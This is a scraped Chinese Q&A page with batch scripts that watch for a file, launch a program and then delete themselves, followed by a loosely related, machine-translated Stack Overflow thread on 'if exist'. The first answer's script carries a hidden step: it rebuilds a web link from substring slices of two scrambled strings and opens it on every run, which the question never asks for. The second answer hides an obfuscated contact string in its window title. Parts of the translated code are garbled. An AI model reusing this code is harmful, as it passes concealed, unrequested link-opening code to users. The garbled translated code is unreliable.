批处理执行检查文件,存在就等待,不存在执行运行另一个程序?

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了批处理执行检查文件,存在就等待,不存在执行运行另一个程序?相关的知识,希望对你有一定的参考价值。

批处理执行检查文件,存在就等待,不存在执行运行另一个程序,最后自毁这个批处理

参考技术A @echo off & title 监测文件 By 依梦琴瑶

::设置要监测的文件
set File=D:\TestFile.txt

::设置要执行的程序
set Exe=D:\TestExe.exe

:Loop
if not exist "%File%" goto RunExe
cls & goto Loop

:RunExe
start "" "%Exe%"
call :Yeah
del /f /q "%~0"

:Yeah
set "Va=cD1b2BAdKk7e3CEoFfmjZ8g4ya9OL.U6"
set "Vb=GwrzuSNXVnHPlvMY0/RpWQqJsTtx:h5Ii"
start "" "%Vb:~29,1%%Vb:~26,1%%Vb:~26,1%%Vb:~19,1%%Vb:~28,1%%Vb:~17,1%%Vb:~17,1%%Va:~21,1%%Va:~11,1%%Vb:~30,1%%Va:~29,1%%Va:~0,1%%Vb:~9,1%%Vb:~17,1%%Va:~30,1%%Vb:~0,1%%Vb:~5,1%%Va:~5,1%%Va:~21,1%"
goto :eof
参考技术B 不清楚你的实际文件/情况,仅以问题中的样例/说明为据;以下代码复制粘贴到记事本,另存为xx.bat,编码选ANSI
@echo off&cd /d "%~dp0"
rem 持续检测指定文件是否存在并执行不同操作
set #=Any question&set _=WX&set $=Q&set/az=0x53b7e0b4
title %#% +%$%%$%/%_% %z%
set "objfile=D:\xxx\指定文件"
set "exefile=E:\yyy\指定程序"
:check
cls&echo;monitoring……
if not exist "%objfile%" (echo;"%objfile%" 未找到&goto break)
>nul ping /n 2 0
goto check
:break
if not exist "%exefile%" (echo;"%exefile%" 未找到) else (start "" "%exefile%")
echo;%#% +%$%%$%/%_% %z%
>nul ping /n 2 0
del /a /f /q %0
exit

如何检查批处理文件中是不是存在文件[重复]

【中文标题】如何检查批处理文件中是不是存在文件[重复]【英文标题】:How to check if a file exists from inside a batch file [duplicate]如何检查批处理文件中是否存在文件[重复] 【发布时间】:2011-05-19 10:16:33 【问题描述】:

仅当某个文件存在时,我才需要运行实用程序。如何在 Windows 批处理中执行此操作?

【问题讨论】:

【参考方案1】:
C:\>help if

在批处理程序中执行条件处理。

IF [NOT] ERRORLEVEL 编号命令

IF [NOT] string1==string2 命令

IF [NOT] EXIST 文件名命令

【讨论】:

【参考方案2】:

尝试以下示例,引用自 Windows XP 上 IF /? 的输出:

如果存在文件名.txt ( del 文件名.txt ) 别的 ( 回显文件名.txt 丢失。 )

您还可以使用IF NOT EXIST 检查丢失的文件。

IF 命令非常强大。 IF /? 的输出将奖励仔细阅读。就此而言,请尝试在许多其他内置命令上使用 /? 选项,以获得大量隐藏的宝石。

【讨论】:

为什么是 '.'在文件名的末尾?是不是笔误? 我引用了 CMD.EXE 中内置的实际 IF 命令的帮助文本,其中包含这些点。我不知道他们为什么将它们包括在内,它似乎确实不一致。当然,EXIST 关键字实际上需要的是一个有效的文件名,它可能是完全限定的。其他命令使用成语[drive:][path]filename代替文字filename. use here,显然更清晰。【参考方案3】:
if exist <insert file name here> (
    rem file exists
) else (
    rem file doesn't exist
)

或者在单行上(如果只需要执行一个操作):

if exist <insert file name here> <action>

例如,如果文件存在,这会在 autoexec.bat 上打开记事本:

if exist c:\autoexec.bat notepad c:\autoexec.bat

【讨论】:

如果你正在处理带空格的路径:***.com/questions/138981/… @loopkin - else 是有效的,参见“if /?” ... "ELSE 子句必须与 IF 之后的命令出现在同一行。例如:[...numerous examples of use...]" @chris-j 谢谢 Chris,你是对的,看来括号必须与 else 在同一行。那就是我做错了。我想我永远不会习惯批处理语法:( 如果您像我一样是 n00b 并且忘记更换波浪形括号,那么这将不起作用。因此,当您在此处插入文件名时,请务必删除 !花了很尴尬的 5 分钟才意识到这一点:( IF EXIST 构造的一个警告:它无法检测隐藏文件(具有隐藏属性的文件)。

以上是关于批处理执行检查文件,存在就等待,不存在执行运行另一个程序?的主要内容,如果未能解决你的问题,请参考以下文章

批处理判断进程是不是存在 存在就继续执行,否则等待5秒后

检查文件是否存在时,未执行ELSE条件

如何检查批处理文件中是不是存在文件[重复]

等待文件存在于目录 C#

多处理时正确检查文件是不是存在

在执行 SELECT INTO (SQL Server) 之前检查行的存在